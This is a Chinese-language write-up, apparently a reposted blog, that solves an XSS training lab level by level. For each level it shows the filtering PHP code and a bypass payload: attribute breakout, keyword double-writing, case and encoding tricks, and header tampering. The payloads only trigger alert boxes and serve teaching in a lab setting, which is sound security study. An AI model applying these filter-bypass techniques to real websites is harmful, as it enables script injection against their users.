xss腳本繞過限制的方法
第二關: 第二關是比較典型的搜索框XSS,搜索內容直接寫入input標簽內,這裏有很多種XSS的方式,我的payload是http://sqler.win/xss /level2.php?keyword=test%22%3E%3Csvg/onload=alert(1)%3E
第十二關: 查看源碼,與上一關類似,取了http頭部的"User-Agent"參數,思路與上一題一致。
sIFR.menuItems.push(new ContextMenuItem("Followlink",function()
{
getURL(sIFR.instance.primaryLink,sIFR.instance.primaryLinkTarget);
}),new ContextMenuItem("Open link in new window",function()
{
getURL(sIFR.instance.primaryLink,"_blank");
}));
再追蹤到sIFR的內容,省略了一些代碼,關鍵代碼如下:
if(_loc5_ && _root.version != sIFR.VERSION)
{
_loc4_ = sIFR.VERSION_WARNING.split("%s").join(_root.version);
}
得知version參數可以傳入loc4變量中,即sIFR的內容中,但是getURL 只在內容為link時,打開,故定位以下函數:
function contentIsLink()
{
return this.content.indexOf("<a ") == 0 &&(this.content.indexOf("<a ") ==this.content.lastIndexOf("<a ") &&this.content.indexOf("</a>") == this.content.length - 4);
}
http://sqler.win/xss/level19.php?arg01=version&arg02=%3Ca%20href=%22javascript:alert(document.domain)%22%3Exss_by_SST%3C/a%3E
點擊傳入進去的’xss_by_SST‘就可以觸發XSS。
level 1
一開始界面上什麽都沒有,一般是從url上想辦法
順便查一下php代碼,
<script> window.alert = function() { confirm("完成的不錯!"); window.location.href="level2.php?keyword=test"; } <script>
這裏提示你要讓網頁彈窗即可
那麽直接用在url後面的參數上想辦法
·http://localhost/xss/level1.php?name=test·
直接把test改成<script>window.alert ()</script> 這樣的彈窗腳本即可
level 2
在2中,輸入了一傳正常的js,<script>alert()</script>,發現可以出現相關代碼,但是可以看出來,預定義的字符代碼已經被轉譯成了HTML實體了。
果然 echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".‘<center> <form action=level2.php method=GET> <input name=keyword value="‘.$str.‘"> <input type=submit name=submit value="搜索"/>
從這裏可以看出來,預定義的字符代碼對於輸出的時候用了htmlspecialchars 轉換成實體,可是下面的並沒有轉換,因此,可以從下面的輸入框裏裏面入手,構造閉合語句。
<input name=keyword value="‘.$str.‘">
使用payload:"onclick="window.alert()
形成<input name=keyword value=" "onclick="window.alert()">
輸入後成功彈窗
level 3
這裏按著上面的也來一下,發現不行
第三關的兩個地方都加了htmlspecialchars函數處理,但是htmlspecialchars默認配置是不過濾單引號的。只有設置了:quotestyle,才可以
那麽就用單引號來測試
payload :‘onclick=‘window.alert()
構造閉合語句:<input name=keyword value=‘".htmlspecialchars(‘onclick=‘window.alert())."‘>
level 4
這一關,查看源代碼發現,多了幾個str
ini_set("display_errors", 0); $str = $_GET["keyword"]; $str2=str_replace(">","",$str); $str3=str_replace("<","",$str2); echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".‘<center> <form action=level4.php method=GET> <input name=keyword value="‘.$str3.‘"> <input type=submit name=submit value=搜索 />
這裏仔細看一下就知道,在這裏將輸入的內容分別去掉了 <,> ,然後,外圍的引號變成了雙引號,可以用第三關的payload稍作修改。
payload:·"onclick="window.alert()
構造成:<input name=keyword value="onclick="window.alert()>
level 5
這題輸入了上文的代碼,會發現變了
‘onclick=‘window.alert()
<------變成----->‘o_nclick=‘window.alert()
在on中加上了下劃線。
那麽應該怎麽做 查看代碼
$str = strtolower($_GET["keyword"]); $str2=str_replace("<script","<scr_ipt",$str); $str3=str_replace("on","o_n",$str2); echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".‘<center> <form action=level5.php method=GET> <input name=keyword value="‘.$str3.‘"> <input type=submit name=submit value=搜索 />
發現它把script 和 on 中加入了下劃線。
那麽鼠標事件,就不能用了。
可以考慮下用鏈接(href),即在鏈接中調用js
payload: "><a href="javascript:onclick=alert()">點我就xss</a>
構造:
<input name=keyword value=" "><a href="javascript:onclick=alert()">點我就xss</a>
如此一來,創建了一個"點我就xss"的可點擊鏈接的文本,點擊,產生xss
level 6
同樣的,輸入<script></script>和onclick 都會被加上下劃線
同時,href也是
查看源代碼$str2=str_replace("<script","<scr_ipt",$str); $str3=str_replace("on","o_n",$str2); $str4=str_replace("src","sr_c",$str3); $str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5);
還有scr,data,等也是。
然鵝,少了一個函數strtolower(),把所有字符轉換為小寫。
所以,我們可以用大寫!
payload "><A HREF="javascript:alert()">test</a>
level 7
很遺憾啊,第七關的已經加上了strtolower,已經不能用大寫繞過了
$str =strtolower( $_GET["keyword"]); $str2=str_replace("script","",$str); $str3=str_replace("on","",$str2); $str4=str_replace("src","",$str3); $str5=str_replace("data","",$str4); $str6=str_replace("href","",$str5);
而且將這幾個能用的都轉換成空,那麽應該怎麽辦?
要註意
他只是將其轉換成空,不像前面的第六題,是加上下劃線,那麽我們可以嘗試雙寫繞過。
payload :"><scrscriptipt>alert()</scrscriptipt>
on src data href 等也是一樣的,大家可以自己嘗試哦
level 8
這一題有難了
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace(‘"‘,‘"‘,$str6);
<input name=keyword value="‘.htmlspecialchars($str).‘">
<input type=submit name=submit value=添加友情鏈接 />
?>
<?php
echo ‘<center><BR><a href="‘.$str7.‘">友情鏈接</a></center>‘;
?>
雙引號轉換成了“"”,而且還將關鍵字轉換了,並且在添加友情鏈接input內還有htmlspecialchars轉換
該怎麽做?
註意,這裏在友情鏈接只用了 str7 ,只是將關鍵字轉換了,那麽如果用其他的編碼的形式呢?是不是可以繞過?因為添加友情鏈接這裏基本用不來了,沒戲。
payload javascript:alert()
這裏要註意不能把java四個轉換編碼,因為後臺過濾的是script,所以把script其中一個編碼一下就好了。
level 9
這題跟上題目差不多,就是在友情鏈接上多了一點判斷
if(false===strpos($str7,‘http://‘)) { echo ‘<center><BR><a href="您的鏈接不合法?有沒有!">友情鏈接</a></center>‘;
若檢測不到http則報錯
payload javascript:alert(1)/*http://www.baidu.com*/
只要讓它檢測到http,卻不能起到作用就可以了,所以可以用註釋。
在上題的payload下,後面加上註釋,在註釋裏面填寫http相關即可
level 10
這道題很迷,仔細看下代碼就知道,它要get兩個參數keyword和t_sort
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
而且 keyword參數並沒有什麽用,t_sort可以進行滲透
那麽在$str33這裏進行構造語句
<>被轉換成空,那麽<script>,<src>等也不能用了
在代碼中下面有三個隱藏的參數設置,在這裏把t_sort的 hidden更改一下成text
payload :t_link=&t_history=&t_sort="onclick="alert()"type="text"
level 11
這道題參考一下代碼可以發現,$str11=$_SERVER[‘HTTP_REFERER‘];這裏接受了來自上一題的referer,所以,我們可以在第十題轉到的第十一題的時候,抓包修改referer,來構造繞過語句。
在出現了 "完成得不錯"後,先用burp抓住,然後在頭文件內修改referer
payloadt_sort="type="text" onclick="alert(1)
level 12
這題跟上面的一樣,只不過是“$str11=$_SERVER[‘HTTP_USER_AGENT‘];”
這次是在user-agent裏面修改
payload111"type="text" onclick="alert(1)
後點擊頁面,通過
level 13
這題看代碼setcookie("user", "call me maybe?", time()+3600);
可以知道這是cookie繞過了
其他的內容都差不多,抓包修改cookies
payload :cookie:user="type="text" onclick="alert(1)"
level 14
這關成功後不會自動跳轉。
level 15
$str = $_GET["src"]; echo ‘<body><span class="ng-include:‘.htmlspecialchars($str).‘"></span></body>‘
AngularJS ng-include指令
ng-include 指令用於包含外部的 HTML 文件。
此題用的是文件包含,那麽我們可以讓它調用一個evil code執行彈窗啊
payload :src=level1.php?name=1‘window.alert()
level 16
$str = strtolower($_GET["keyword"]); $str2=str_replace("script"," ",$str); $str3=str_replace(" "," ",$str2); $str4=str_replace("/"," ",$str3); $str5=str_replace(" "," ",$str4);
這題把script 、/ 、空格 都轉譯了,跟前面有一題一樣,可以考慮編碼和不用script啊
keyword=test,顯示在頁面中。
使用<a%0dhref="javascript:onclick=alert()">點我就xss</a>
提示說不允許使用。。。
換一個
payload<img%0dsrc=1%0donerror=alert()>
level 17
<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])."
<embed> 標簽定義嵌入的內容,比如插件
通過htmlspecialchars 轉譯了預定義字符
onclick是在鼠標點擊彈起之後觸發的事件。onmousedown是在鼠標按下之後觸發的事件
這裏我用onclick不行,onmousedown可以。。
payload arg01=a&arg02=b%20onclick=alert()
level 18
這題跟上面的差不多
卻在arg02不可以。。。。迷
誰知道原因的。。能告訴我嘛
在arg01處進行payload
http://localhost/xss/level18.php?arg01=a%20onmousedown=alert()&arg02=b
作者:殘陽潑茶香
鏈接:https://www.jianshu.com/p/06c644dafa0d
來源:簡書
簡書著作權歸作者所有,任何形式的轉載都請聯系作者獲得授權並註明出處。
xss腳本繞過限制的方法